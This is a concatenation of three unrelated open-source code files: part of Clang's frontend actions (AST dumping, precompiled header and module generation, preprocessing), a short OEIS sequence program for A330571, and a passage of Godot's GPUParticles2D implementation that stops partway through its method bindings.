#include <memory>
#include <system_error>
using namespace clang;
//===----------------------------------------------------------------------===//
// Custom Actions
//===----------------------------------------------------------------------===//
std::unique_ptr<ASTConsumer>
InitOnlyAction::CreateASTConsumer(CompilerInstance &CI, StringRef InFile) {
return llvm::make_unique<ASTConsumer>();
}
void InitOnlyAction::ExecuteAction() {
}
//===----------------------------------------------------------------------===//
// AST Consumer Actions
//===----------------------------------------------------------------------===//
std::unique_ptr<ASTConsumer>
ASTPrintAction::CreateASTConsumer(CompilerInstance &CI, StringRef InFile) {
if (std::unique_ptr<raw_ostream> OS =
CI.createDefaultOutputFile(false, InFile))
return CreateASTPrinter(std::move(OS), CI.getFrontendOpts().ASTDumpFilter);
return nullptr;
}
std::unique_ptr<ASTConsumer>
ASTDumpAction::CreateASTConsumer(CompilerInstance &CI, StringRef InFile) {
return CreateASTDumper(CI.getFrontendOpts().ASTDumpFilter,
CI.getFrontendOpts().ASTDumpDecls,
CI.getFrontendOpts().ASTDumpAll,
CI.getFrontendOpts().ASTDumpLookups);
}
std::unique_ptr<ASTConsumer>
ASTDeclListAction::CreateASTConsumer(CompilerInstance &CI, StringRef InFile) {
return CreateASTDeclNodeLister();
}
std::unique_ptr<ASTConsumer>
ASTViewAction::CreateASTConsumer(CompilerInstance &CI, StringRef InFile) {
return CreateASTViewer();
}
std::unique_ptr<ASTConsumer>
DeclContextPrintAction::CreateASTConsumer(CompilerInstance &CI,
StringRef InFile) {
return CreateDeclContextPrinter();
}
std::unique_ptr<ASTConsumer>
GeneratePCHAction::CreateASTConsumer(CompilerInstance &CI, StringRef InFile) {
std::string Sysroot;
if (!ComputeASTConsumerArguments(CI, /*ref*/ Sysroot))
return nullptr;
std::string OutputFile;
std::unique_ptr<raw_pwrite_stream> OS =
CreateOutputFile(CI, InFile, /*ref*/ OutputFile);
if (!OS)
return nullptr;
if (!CI.getFrontendOpts().RelocatablePCH)
Sysroot.clear();
auto Buffer = std::make_shared<PCHBuffer>();
std::vector<std::unique_ptr<ASTConsumer>> Consumers;
Consumers.push_back(llvm::make_unique<PCHGenerator>(
CI.getPreprocessor(), OutputFile, Sysroot,
Buffer, CI.getFrontendOpts().ModuleFileExtensions,
/*AllowASTWithErrors*/CI.getPreprocessorOpts().AllowPCHWithCompilerErrors,
/*IncludeTimestamps*/
+CI.getFrontendOpts().IncludeTimestamps));
Consumers.push_back(CI.getPCHContainerWriter().CreatePCHContainerGenerator(
CI, InFile, OutputFile, std::move(OS), Buffer));
return llvm::make_unique<MultiplexConsumer>(std::move(Consumers));
}
bool GeneratePCHAction::ComputeASTConsumerArguments(CompilerInstance &CI,
std::string &Sysroot) {
Sysroot = CI.getHeaderSearchOpts().Sysroot;
if (CI.getFrontendOpts().RelocatablePCH && Sysroot.empty()) {
CI.getDiagnostics().Report(diag::err_relocatable_without_isysroot);
return false;
}
return true;
}
std::unique_ptr<llvm::raw_pwrite_stream>
GeneratePCHAction::CreateOutputFile(CompilerInstance &CI, StringRef InFile,
std::string &OutputFile) {
// We use createOutputFile here because this is exposed via libclang, and we
// must disable the RemoveFileOnSignal behavior.
// We use a temporary to avoid race conditions.
std::unique_ptr<raw_pwrite_stream> OS =
CI.createOutputFile(CI.getFrontendOpts().OutputFile, /*Binary=*/true,
/*RemoveFileOnSignal=*/false, InFile,
/*Extension=*/"", /*useTemporary=*/true);
if (!OS)
return nullptr;
OutputFile = CI.getFrontendOpts().OutputFile;
return OS;
}
bool GeneratePCHAction::shouldEraseOutputFiles() {
if (getCompilerInstance().getPreprocessorOpts().AllowPCHWithCompilerErrors)
return false;
return ASTFrontendAction::shouldEraseOutputFiles();
}
bool GeneratePCHAction::BeginSourceFileAction(CompilerInstance &CI) {
CI.getLangOpts().CompilingPCH = true;
return true;
}
std::unique_ptr<ASTConsumer>
GenerateModuleAction::CreateASTConsumer(CompilerInstance &CI,
StringRef InFile) {
std::unique_ptr<raw_pwrite_stream> OS = CreateOutputFile(CI, InFile);
if (!OS)
return nullptr;
std::string OutputFile = CI.getFrontendOpts().OutputFile;
std::string Sysroot;
auto Buffer = std::make_shared<PCHBuffer>();
std::vector<std::unique_ptr<ASTConsumer>> Consumers;
Consumers.push_back(llvm::make_unique<PCHGenerator>(
CI.getPreprocessor(), OutputFile, Sysroot,
Buffer, CI.getFrontendOpts().ModuleFileExtensions,
/*AllowASTWithErrors=*/false,
/*IncludeTimestamps=*/
+CI.getFrontendOpts().BuildingImplicitModule));
Consumers.push_back(CI.getPCHContainerWriter().CreatePCHContainerGenerator(
CI, InFile, OutputFile, std::move(OS), Buffer));
return llvm::make_unique<MultiplexConsumer>(std::move(Consumers));
}
bool GenerateModuleFromModuleMapAction::BeginSourceFileAction(
CompilerInstance &CI) {
if (!CI.getLangOpts().Modules) {
CI.getDiagnostics().Report(diag::err_module_build_requires_fmodules);
return false;
}
return GenerateModuleAction::BeginSourceFileAction(CI);
}
std::unique_ptr<raw_pwrite_stream>
GenerateModuleFromModuleMapAction::CreateOutputFile(CompilerInstance &CI,
StringRef InFile) {
// If no output file was provided, figure out where this module would go
// in the module cache.
if (CI.getFrontendOpts().OutputFile.empty()) {
StringRef ModuleMapFile = CI.getFrontendOpts().OriginalModuleMap;
if (ModuleMapFile.empty())
ModuleMapFile = InFile;
HeaderSearch &HS = CI.getPreprocessor().getHeaderSearchInfo();
CI.getFrontendOpts().OutputFile =
HS.getCachedModuleFileName(CI.getLangOpts().CurrentModule,
ModuleMapFile);
}
// We use createOutputFile here because this is exposed via libclang, and we
// must disable the RemoveFileOnSignal behavior.
// We use a temporary to avoid race conditions.
return CI.createOutputFile(CI.getFrontendOpts().OutputFile, /*Binary=*/true,
/*RemoveFileOnSignal=*/false, InFile,
/*Extension=*/"", /*useTemporary=*/true,
/*CreateMissingDirectories=*/true);
}
bool GenerateModuleInterfaceAction::BeginSourceFileAction(
CompilerInstance &CI) {
if (!CI.getLangOpts().ModulesTS) {
CI.getDiagnostics().Report(diag::err_module_interface_requires_modules_ts);
return false;
}
CI.getLangOpts().setCompilingModule(LangOptions::CMK_ModuleInterface);
return GenerateModuleAction::BeginSourceFileAction(CI);
}
std::unique_ptr<raw_pwrite_stream>
GenerateModuleInterfaceAction::CreateOutputFile(CompilerInstance &CI,
StringRef InFile) {
return CI.createDefaultOutputFile(/*Binary=*/true, InFile, "pcm");
}
SyntaxOnlyAction::~SyntaxOnlyAction() {
}
std::unique_ptr<ASTConsumer>
SyntaxOnlyAction::CreateASTConsumer(CompilerInstance &CI, StringRef InFile) {
return llvm::make_unique<ASTConsumer>();
}
std::unique_ptr<ASTConsumer>
DumpModuleInfoAction::CreateASTConsumer(CompilerInstance &CI,
StringRef InFile) {
return llvm::make_unique<ASTConsumer>();
}
std::unique_ptr<ASTConsumer>
VerifyPCHAction::CreateASTConsumer(CompilerInstance &CI, StringRef InFile) {
return llvm::make_unique<ASTConsumer>();
}
void VerifyPCHAction::ExecuteAction() {
CompilerInstance &CI = getCompilerInstance();
bool Preamble = CI.getPreprocessorOpts().PrecompiledPreambleBytes.first != 0;
const std::string &Sysroot = CI.getHeaderSearchOpts().Sysroot;
std::unique_ptr<ASTReader> Reader(new ASTReader(
CI.getPreprocessor(), &CI.getASTContext(), CI.getPCHContainerReader(),
CI.getFrontendOpts().ModuleFileExtensions,
Sysroot.empty() ? "" : Sysroot.c_str(),
/*DisableValidation*/ false,
/*AllowPCHWithCompilerErrors*/ false,
/*AllowConfigurationMismatch*/ true,
/*ValidateSystemInputs*/ true));
Reader->ReadAST(getCurrentFile(),
Preamble ? serialization::MK_Preamble
: serialization::MK_PCH,
SourceLocation(),
ASTReader::ARR_ConfigurationMismatch);
}
namespace {
/// \brief AST reader listener that dumps module information for a module
/// file.
class DumpModuleInfoListener : public ASTReaderListener {
llvm::raw_ostream &Out;
public:
DumpModuleInfoListener(llvm::raw_ostream &Out) : Out(Out) { }
#define DUMP_BOOLEAN(Value, Text) \
Out.indent(4) << Text << ": " << (Value? "Yes" : "No") << "\n"
bool ReadFullVersionInformation(StringRef FullVersion) override {
Out.indent(2)
<< "Generated by "
<< (FullVersion == getClangFullRepositoryVersion()? "this"
: "a different")
<< " Clang: " << FullVersion << "\n";
return ASTReaderListener::ReadFullVersionInformation(FullVersion);
}
void ReadModuleName(StringRef ModuleName) override {
Out.indent(2) << "Module name: " << ModuleName << "\n";
}
void ReadModuleMapFile(StringRef ModuleMapPath) override {
Out.indent(2) << "Module map file: " << ModuleMapPath << "\n";
}
bool ReadLanguageOptions(const LangOptions &LangOpts, bool Complain,
bool AllowCompatibleDifferences) override {
Out.indent(2) << "Language options:\n";
#define LANGOPT(Name, Bits, Default, Description) \
DUMP_BOOLEAN(LangOpts.Name, Description);
#define ENUM_LANGOPT(Name, Type, Bits, Default, Description) \
Out.indent(4) << Description << ": " \
<< static_cast<unsigned>(LangOpts.get##Name()) << "\n";
#define VALUE_LANGOPT(Name, Bits, Default, Description) \
Out.indent(4) << Description << ": " << LangOpts.Name << "\n";
#define BENIGN_LANGOPT(Name, Bits, Default, Description)
#define BENIGN_ENUM_LANGOPT(Name, Type, Bits, Default, Description)
#include "clang/Basic/LangOptions.def"
if (!LangOpts.ModuleFeatures.empty()) {
Out.indent(4) << "Module features:\n";
for (StringRef Feature : LangOpts.ModuleFeatures)
Out.indent(6) << Feature << "\n";
}
return false;
}
bool ReadTargetOptions(const TargetOptions &TargetOpts, bool Complain,
bool AllowCompatibleDifferences) override {
Out.indent(2) << "Target options:\n";
Out.indent(4) << " Triple: " << TargetOpts.Triple << "\n";
Out.indent(4) << " CPU: " << TargetOpts.CPU << "\n";
Out.indent(4) << " ABI: " << TargetOpts.ABI << "\n";
if (!TargetOpts.FeaturesAsWritten.empty()) {
Out.indent(4) << "Target features:\n";
for (unsigned I = 0, N = TargetOpts.FeaturesAsWritten.size();
I != N; ++I) {
Out.indent(6) << TargetOpts.FeaturesAsWritten[I] << "\n";
}
}
return false;
}
bool ReadDiagnosticOptions(IntrusiveRefCntPtr<DiagnosticOptions> DiagOpts,
bool Complain) override {
Out.indent(2) << "Diagnostic options:\n";
#define DIAGOPT(Name, Bits, Default) DUMP_BOOLEAN(DiagOpts->Name, #Name);
#define ENUM_DIAGOPT(Name, Type, Bits, Default) \
Out.indent(4) << #Name << ": " << DiagOpts->get##Name() << "\n";
#define VALUE_DIAGOPT(Name, Bits, Default) \
Out.indent(4) << #Name << ": " << DiagOpts->Name << "\n";
#include "clang/Basic/DiagnosticOptions.def"
Out.indent(4) << "Diagnostic flags:\n";
for (const std::string &Warning : DiagOpts->Warnings)
Out.indent(6) << "-W" << Warning << "\n";
for (const std::string &Remark : DiagOpts->Remarks)
Out.indent(6) << "-R" << Remark << "\n";
return false;
}
bool ReadHeaderSearchOptions(const HeaderSearchOptions &HSOpts,
StringRef SpecificModuleCachePath,
bool Complain) override {
Out.indent(2) << "Header search options:\n";
Out.indent(4) << "System root [-isysroot=]: '" << HSOpts.Sysroot << "'\n";
Out.indent(4) << "Resource dir [ -resource-dir=]: '" << HSOpts.ResourceDir << "'\n";
Out.indent(4) << "Module Cache: '" << SpecificModuleCachePath << "'\n";
DUMP_BOOLEAN(HSOpts.UseBuiltinIncludes,
"Use builtin include directories [-nobuiltininc]");
DUMP_BOOLEAN(HSOpts.UseStandardSystemIncludes,
"Use standard system include directories [-nostdinc]");
DUMP_BOOLEAN(HSOpts.UseStandardCXXIncludes,
"Use standard C++ include directories [-nostdinc++]");
DUMP_BOOLEAN(HSOpts.UseLibcxx,
"Use libc++ (rather than libstdc++) [-stdlib=]");
return false;
}
bool ReadPreprocessorOptions(const PreprocessorOptions &PPOpts,
bool Complain,
std::string &SuggestedPredefines) override {
Out.indent(2) << "Preprocessor options:\n";
DUMP_BOOLEAN(PPOpts.UsePredefines,
"Uses compiler/target-specific predefines [-undef]");
DUMP_BOOLEAN(PPOpts.DetailedRecord,
"Uses detailed preprocessing record (for indexing)");
if (!PPOpts.Macros.empty()) {
Out.indent(4) << "Predefined macros:\n";
}
for (std::vector<std::pair<std::string, bool/*isUndef*/> >::const_iterator
I = PPOpts.Macros.begin(), IEnd = PPOpts.Macros.end();
I != IEnd; ++I) {
Out.indent(6);
if (I->second)
Out << "-U";
else
Out << "-D";
Out << I->first << "\n";
}
return false;
}
/// Indicates that a particular module file extension has been read.
void readModuleFileExtension(
const ModuleFileExtensionMetadata &Metadata) override {
Out.indent(2) << "Module file extension '"
<< Metadata.BlockName << "' " << Metadata.MajorVersion
<< "." << Metadata.MinorVersion;
if (!Metadata.UserInfo.empty()) {
Out << ": ";
Out.write_escaped(Metadata.UserInfo);
}
Out << "\n";
}
#undef DUMP_BOOLEAN
};
}
bool DumpModuleInfoAction::BeginInvocation(CompilerInstance &CI) {
// The Object file reader also supports raw ast files and there is no point in
// being strict about the module file format in -module-file-info mode.
CI.getHeaderSearchOpts().ModuleFormat = "obj";
return true;
}
void DumpModuleInfoAction::ExecuteAction() {
// Set up the output file.
std::unique_ptr<llvm::raw_fd_ostream> OutFile;
StringRef OutputFileName = getCompilerInstance().getFrontendOpts().OutputFile;
if (!OutputFileName.empty() && OutputFileName != "-") {
std::error_code EC;
OutFile.reset(new llvm::raw_fd_ostream(OutputFileName.str(), EC,
llvm::sys::fs::F_Text));
}
llvm::raw_ostream &Out = OutFile.get()? *OutFile.get() : llvm::outs();
Out << "Information for module file '" << getCurrentFile() << "':\n";
auto &FileMgr = getCompilerInstance().getFileManager();
auto Buffer = FileMgr.getBufferForFile(getCurrentFile());
StringRef Magic = (*Buffer)->getMemBufferRef().getBuffer();
bool IsRaw = (Magic.size() >= 4 && Magic[0] == 'C' && Magic[1] == 'P' &&
Magic[2] == 'C' && Magic[3] == 'H');
Out << " Module format: " << (IsRaw ? "raw" : "obj") << "\n";
Preprocessor &PP = getCompilerInstance().getPreprocessor();
DumpModuleInfoListener Listener(Out);
HeaderSearchOptions &HSOpts =
PP.getHeaderSearchInfo().getHeaderSearchOpts();
ASTReader::readASTFileControlBlock(
getCurrentFile(), FileMgr, getCompilerInstance().getPCHContainerReader(),
/*FindModuleFileExtensions=*/true, Listener,
HSOpts.ModulesValidateDiagnosticOptions);
}
//===----------------------------------------------------------------------===//
// Preprocessor Actions
//===----------------------------------------------------------------------===//
void DumpRawTokensAction::ExecuteAction() {
Preprocessor &PP = getCompilerInstance().getPreprocessor();
SourceManager &SM = PP.getSourceManager();
// Start lexing the specified input file.
const llvm::MemoryBuffer *FromFile = SM.getBuffer(SM.getMainFileID());
Lexer RawLex(SM.getMainFileID(), FromFile, SM, PP.getLangOpts());
RawLex.SetKeepWhitespaceMode(true);
Token RawTok;
RawLex.LexFromRawLexer(RawTok);
while (RawTok.isNot(tok::eof)) {
PP.DumpToken(RawTok, true);
llvm::errs() << "\n";
RawLex.LexFromRawLexer(RawTok);
}
}
void DumpTokensAction::ExecuteAction() {
Preprocessor &PP = getCompilerInstance().getPreprocessor();
// Start preprocessing the specified input file.
Token Tok;
PP.EnterMainSourceFile();
do {
PP.Lex(Tok);
PP.DumpToken(Tok, true);
llvm::errs() << "\n";
} while (Tok.isNot(tok::eof));
}
void GeneratePTHAction::ExecuteAction() {
CompilerInstance &CI = getCompilerInstance();
std::unique_ptr<raw_pwrite_stream> OS =
CI.createDefaultOutputFile(true, getCurrentFile());
if (!OS)
return;
CacheTokens(CI.getPreprocessor(), OS.get());
}
void PreprocessOnlyAction::ExecuteAction() {
Preprocessor &PP = getCompilerInstance().getPreprocessor();
// Ignore unknown pragmas.
PP.IgnorePragmas();
Token Tok;
// Start parsing the specified input file.
PP.EnterMainSourceFile();
do {
PP.Lex(Tok);
} while (Tok.isNot(tok::eof));
}
void PrintPreprocessedAction::ExecuteAction() {
CompilerInstance &CI = getCompilerInstance();
// Output file may need to be set to 'Binary', to avoid converting Unix style
// line feeds (<LF>) to Microsoft style line feeds (<CR><LF>).
//
// Look to see what type of line endings the file uses. If there's a
// CRLF, then we won't open the file up in binary mode. If there is
// just an LF or CR, then we will open the file up in binary mode.
// In this fashion, the output format should match the input format, unless
// the input format has inconsistent line endings.
//
// This should be a relatively fast operation since most files won't have
// all of their source code on a single line. However, that is still a
// concern, so if we scan for too long, we'll just assume the file should
// be opened in binary mode.
bool BinaryMode = true;
bool InvalidFile = false;
const SourceManager& SM = CI.getSourceManager();
const llvm::MemoryBuffer *Buffer = SM.getBuffer(SM.getMainFileID(),
&InvalidFile);
if (!InvalidFile) {
const char *cur = Buffer->getBufferStart();
const char *end = Buffer->getBufferEnd();
const char *next = (cur != end) ? cur + 1 : end;
// Limit ourselves to only scanning 256 characters into the source
// file. This is mostly a sanity check in case the file has no
// newlines whatsoever.
if (end - cur > 256) end = cur + 256;
while (next < end) {
if (*cur == 0x0D) { // CR
if (*next == 0x0A) // CRLF
BinaryMode = false;
break;
} else if (*cur == 0x0A) // LF
break;
++cur;
++next;
}
}
std::unique_ptr<raw_ostream> OS =
CI.createDefaultOutputFile(BinaryMode, getCurrentFile());
if (!OS) return;
// If we're preprocessing a module map, start by dumping the contents of the
// module itself before switching to the input buffer.
auto &Input = getCurrentInput();
if (Input.getKind().getFormat() == InputKind::ModuleMap) {
if (Input.isFile()) {
(*OS) << "# 1 \"";
OS->write_escaped(Input.getFile());
(*OS) << "\"\n";
}
// FIXME: Include additional information here so that we don't need the
// original source files to exist on disk.
getCurrentModule()->print(*OS);
(*OS) << "#pragma clang module contents\n";
}
DoPrintPreprocessedInput(CI.getPreprocessor(), OS.get(),
CI.getPreprocessorOutputOpts());
}
void PrintPreambleAction::ExecuteAction() {
switch (getCurrentFileKind().getLanguage()) {
case InputKind::C:
case InputKind::CXX:
case InputKind::ObjC:
case InputKind::ObjCXX:
case InputKind::OpenCL:
case InputKind::CUDA:
break;
case InputKind::Unknown:
case InputKind::Asm:
case InputKind::LLVM_IR:
case InputKind::RenderScript:
// We can't do anything with these.
return;
}
// We don't expect to find any #include directives in a preprocessed input.
if (getCurrentFileKind().isPreprocessed())
return;
CompilerInstance &CI = getCompilerInstance();
auto Buffer = CI.getFileManager().getBufferForFile(getCurrentFile());
if (Buffer) {
unsigned Preamble =
Lexer::ComputePreamble((*Buffer)->getBuffer(), CI.getLangOpts()).Size;
llvm::outs().write((*Buffer)->getBufferStart(), Preamble);
}
}
|
; A330571: Square of number of unordered factorizations of n as n = i*j.
; 1,1,1,4,1,4,1,4,4,4,1,9,1,4,4,9,1,9,1,9,4,4,1,16,4,4,4,9,1,16,1,9,4,4,4,25,1,4,4,16,1,16,1,9,9,4,1,25,4,9,4,9,1,16,4,16,4,4,1,36,1,4,9,16,4,16,1,9,4,16,1,36,1,4,9,9,4,16,1,25,9,4,1,36,4,4,4,16,1,36,4,9,4,4,4,36
seq $0,38548 ; Number of divisors of n that are at most sqrt(n).
pow $0,2
|
/*************************************************************************/
/* gpu_particles_2d.cpp */
/*************************************************************************/
/* This file is part of: */
/* GODOT ENGINE */
/* https://godotengine.org */
/*************************************************************************/
/* Copyright (c) 2007-2020 Juan Linietsky, Ariel Manzur. */
/* Copyright (c) 2014-2020 Godot Engine contributors (cf. AUTHORS.md). */
/* */
/* Permission is hereby granted, free of charge, to any person obtaining */
/* a copy of this software and associated documentation files (the */
/* "Software"), to deal in the Software without restriction, including */
/* without limitation the rights to use, copy, modify, merge, publish, */
/* distribute, sublicense, and/or sell copies of the Software, and to */
/* permit persons to whom the Software is furnished to do so, subject to */
/* the following conditions: */
/* */
/* The above copyright notice and this permission notice shall be */
/* included in all copies or substantial portions of the Software. */
/* */
/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */
/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */
/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/
/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */
/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */
/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */
/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
/*************************************************************************/
#include "gpu_particles_2d.h"
#include "core/os/os.h"
#include "scene/resources/particles_material.h"
#include "scene/scene_string_names.h"
#ifdef TOOLS_ENABLED
#include "core/engine.h"
#endif
void GPUParticles2D::set_emitting(bool p_emitting) {
RS::get_singleton()->particles_set_emitting(particles, p_emitting);
if (p_emitting && one_shot) {
set_process_internal(true);
} else if (!p_emitting) {
set_process_internal(false);
}
}
void GPUParticles2D::set_amount(int p_amount) {
ERR_FAIL_COND_MSG(p_amount < 1, "Amount of particles cannot be smaller than 1.");
amount = p_amount;
RS::get_singleton()->particles_set_amount(particles, amount);
}
void GPUParticles2D::set_lifetime(float p_lifetime) {
ERR_FAIL_COND_MSG(p_lifetime <= 0, "Particles lifetime must be greater than 0.");
lifetime = p_lifetime;
RS::get_singleton()->particles_set_lifetime(particles, lifetime);
}
void GPUParticles2D::set_one_shot(bool p_enable) {
one_shot = p_enable;
RS::get_singleton()->particles_set_one_shot(particles, one_shot);
if (is_emitting()) {
set_process_internal(true);
if (!one_shot) {
RenderingServer::get_singleton()->particles_restart(particles);
}
}
if (!one_shot) {
set_process_internal(false);
}
}
void GPUParticles2D::set_pre_process_time(float p_time) {
pre_process_time = p_time;
RS::get_singleton()->particles_set_pre_process_time(particles, pre_process_time);
}
void GPUParticles2D::set_explosiveness_ratio(float p_ratio) {
explosiveness_ratio = p_ratio;
RS::get_singleton()->particles_set_explosiveness_ratio(particles, explosiveness_ratio);
}
void GPUParticles2D::set_randomness_ratio(float p_ratio) {
randomness_ratio = p_ratio;
RS::get_singleton()->particles_set_randomness_ratio(particles, randomness_ratio);
}
void GPUParticles2D::set_visibility_rect(const Rect2 &p_visibility_rect) {
visibility_rect = p_visibility_rect;
AABB aabb;
aabb.position.x = p_visibility_rect.position.x;
aabb.position.y = p_visibility_rect.position.y;
aabb.size.x = p_visibility_rect.size.x;
aabb.size.y = p_visibility_rect.size.y;
RS::get_singleton()->particles_set_custom_aabb(particles, aabb);
_change_notify("visibility_rect");
update();
}
void GPUParticles2D::set_use_local_coordinates(bool p_enable) {
local_coords = p_enable;
RS::get_singleton()->particles_set_use_local_coordinates(particles, local_coords);
set_notify_transform(!p_enable);
if (!p_enable && is_inside_tree()) {
_update_particle_emission_transform();
}
}
void GPUParticles2D::_update_particle_emission_transform() {
Transform2D xf2d = get_global_transform();
Transform xf;
xf.basis.set_axis(0, Vector3(xf2d.get_axis(0).x, xf2d.get_axis(0).y, 0));
xf.basis.set_axis(1, Vector3(xf2d.get_axis(1).x, xf2d.get_axis(1).y, 0));
xf.set_origin(Vector3(xf2d.get_origin().x, xf2d.get_origin().y, 0));
RS::get_singleton()->particles_set_emission_transform(particles, xf);
}
void GPUParticles2D::set_process_material(const Ref<Material> &p_material) {
process_material = p_material;
Ref<ParticlesMaterial> pm = p_material;
if (pm.is_valid() && !pm->get_flag(ParticlesMaterial::FLAG_DISABLE_Z) && pm->get_gravity() == Vector3(0, -9.8, 0)) {
// Likely a new (3D) material, modify it to match 2D space
pm->set_flag(ParticlesMaterial::FLAG_DISABLE_Z, true);
pm->set_gravity(Vector3(0, 98, 0));
}
RID material_rid;
if (process_material.is_valid()) {
material_rid = process_material->get_rid();
}
RS::get_singleton()->particles_set_process_material(particles, material_rid);
update_configuration_warning();
}
void GPUParticles2D::set_speed_scale(float p_scale) {
speed_scale = p_scale;
RS::get_singleton()->particles_set_speed_scale(particles, p_scale);
}
bool GPUParticles2D::is_emitting() const {
return RS::get_singleton()->particles_get_emitting(particles);
}
int GPUParticles2D::get_amount() const {
return amount;
}
float GPUParticles2D::get_lifetime() const {
return lifetime;
}
bool GPUParticles2D::get_one_shot() const {
return one_shot;
}
float GPUParticles2D::get_pre_process_time() const {
return pre_process_time;
}
float GPUParticles2D::get_explosiveness_ratio() const {
return explosiveness_ratio;
}
float GPUParticles2D::get_randomness_ratio() const {
return randomness_ratio;
}
Rect2 GPUParticles2D::get_visibility_rect() const {
return visibility_rect;
}
bool GPUParticles2D::get_use_local_coordinates() const {
return local_coords;
}
Ref<Material> GPUParticles2D::get_process_material() const {
return process_material;
}
float GPUParticles2D::get_speed_scale() const {
return speed_scale;
}
void GPUParticles2D::set_draw_order(DrawOrder p_order) {
draw_order = p_order;
RS::get_singleton()->particles_set_draw_order(particles, RS::ParticlesDrawOrder(p_order));
}
GPUParticles2D::DrawOrder GPUParticles2D::get_draw_order() const {
return draw_order;
}
void GPUParticles2D::set_fixed_fps(int p_count) {
fixed_fps = p_count;
RS::get_singleton()->particles_set_fixed_fps(particles, p_count);
}
int GPUParticles2D::get_fixed_fps() const {
return fixed_fps;
}
void GPUParticles2D::set_fractional_delta(bool p_enable) {
fractional_delta = p_enable;
RS::get_singleton()->particles_set_fractional_delta(particles, p_enable);
}
bool GPUParticles2D::get_fractional_delta() const {
return fractional_delta;
}
String GPUParticles2D::get_configuration_warning() const {
if (RenderingServer::get_singleton()->is_low_end()) {
return TTR("GPU-based particles are not supported by the GLES2 video driver.\nUse the CPUParticles2D node instead. You can use the \"Convert to CPUParticles2D\" option for this purpose.");
}
String warnings;
if (process_material.is_null()) {
if (warnings != String()) {
warnings += "\n";
}
warnings += "- " + TTR("A material to process the particles is not assigned, so no behavior is imprinted.");
} else {
CanvasItemMaterial *mat = Object::cast_to<CanvasItemMaterial>(get_material().ptr());
if (get_material().is_null() || (mat && !mat->get_particles_animation())) {
const ParticlesMaterial *process = Object::cast_to<ParticlesMaterial>(process_material.ptr());
if (process &&
(process->get_param(ParticlesMaterial::PARAM_ANIM_SPEED) != 0.0 || process->get_param(ParticlesMaterial::PARAM_ANIM_OFFSET) != 0.0 ||
process->get_param_texture(ParticlesMaterial::PARAM_ANIM_SPEED).is_valid() || process->get_param_texture(ParticlesMaterial::PARAM_ANIM_OFFSET).is_valid())) {
if (warnings != String()) {
warnings += "\n";
}
warnings += "- " + TTR("Particles2D animation requires the usage of a CanvasItemMaterial with \"Particles Animation\" enabled.");
}
}
}
return warnings;
}
Rect2 GPUParticles2D::capture_rect() const {
AABB aabb = RS::get_singleton()->particles_get_current_aabb(particles);
Rect2 r;
r.position.x = aabb.position.x;
r.position.y = aabb.position.y;
r.size.x = aabb.size.x;
r.size.y = aabb.size.y;
return r;
}
void GPUParticles2D::set_texture(const Ref<Texture2D> &p_texture) {
texture = p_texture;
update();
}
Ref<Texture2D> GPUParticles2D::get_texture() const {
return texture;
}
void GPUParticles2D::set_normal_map(const Ref<Texture2D> &p_normal_map) {
normal_map = p_normal_map;
update();
}
Ref<Texture2D> GPUParticles2D::get_normal_map() const {
return normal_map;
}
void GPUParticles2D::_validate_property(PropertyInfo &property) const {
}
void GPUParticles2D::restart() {
RS::get_singleton()->particles_restart(particles);
RS::get_singleton()->particles_set_emitting(particles, true);
}
void GPUParticles2D::_notification(int p_what) {
if (p_what == NOTIFICATION_DRAW) {
RID texture_rid;
if (texture.is_valid()) {
texture_rid = texture->get_rid();
}
RID normal_rid;
if (normal_map.is_valid()) {
normal_rid = normal_map->get_rid();
}
RS::get_singleton()->canvas_item_add_particles(get_canvas_item(), particles, texture_rid, normal_rid);
#ifdef TOOLS_ENABLED
if (Engine::get_singleton()->is_editor_hint() && (this == get_tree()->get_edited_scene_root() || get_tree()->get_edited_scene_root()->is_a_parent_of(this))) {
draw_rect(visibility_rect, Color(0, 0.7, 0.9, 0.4), false);
}
#endif
}
if (p_what == NOTIFICATION_PAUSED || p_what == NOTIFICATION_UNPAUSED) {
if (can_process()) {
RS::get_singleton()->particles_set_speed_scale(particles, speed_scale);
} else {
RS::get_singleton()->particles_set_speed_scale(particles, 0);
}
}
if (p_what == NOTIFICATION_TRANSFORM_CHANGED) {
_update_particle_emission_transform();
}
if (p_what == NOTIFICATION_INTERNAL_PROCESS) {
if (one_shot && !is_emitting()) {
_change_notify();
set_process_internal(false);
}
}
}
void GPUParticles2D::_bind_methods() {
ClassDB::bind_method(D_METHOD("set_emitting", "emitting"), &GPUParticles2D::set_emitting);
ClassDB::bind_method(D_METHOD("set_amount", "amount"), &GPUParticles2D::set_amount);
ClassDB::bind_method(D_METHOD("set_lifetime", "secs"), &GPUParticles2D::set_lifetime);
ClassDB::bind_method(D_METHOD("set_one_shot", "secs"), &GPUParticles2D::set_one_shot);
ClassDB::bind_method(D_METHOD("set_pre_process_time", "secs"), &GPUParticles2D::set_pre_process_time);
ClassDB::bind_method(D_METHOD("set_explosiveness_ratio", "ratio"), &GPUParticles2D::set_explosiveness_ratio);
ClassDB::bind_method(D_METHOD("set_randomness_ratio", "ratio"), &GPUParticles2D::set_randomness_ratio);
ClassDB::bind_method(D_METHOD("set_visibility_rect", "visibility_rect"), &GPUParticles2D::set_visibility_rect);
ClassDB::bind_method(D_METHOD("set_use_local_coordinates", "enable"), &GPUParticles2D::set_use_local_coordinates);
ClassDB::bind_method(D_METHOD("set_fixed_fps", "fps"), &GPUParticles2D::set_fixed_fps);
ClassDB::bind_method(D_METHOD("set_fractional_delta", "enable"), &GPUParticles2D::set_fractional_delta);
ClassDB::bind_method(D_METHOD("set_process_material", "material"), &GPUParticles2D::set_process_material);
ClassDB::bind_method(D_METHOD("set_speed_scale", "scale"), &GPUParticles2D::set_speed_scale);
ClassDB::bind_method(D_METHOD("is_emitting"), &GPUParticles2D::is_emitting);
ClassDB::bind_method(D_METHOD("get_amount"), &GPUParticles2D::get_amount);
ClassDB::bind_method(D_METHOD("get_lifetime"), &GPUParticles2D::get_lifetime);
ClassDB::bind_method(D_METHOD("get_one_shot"), &GPUParticles2D::get_one_shot);
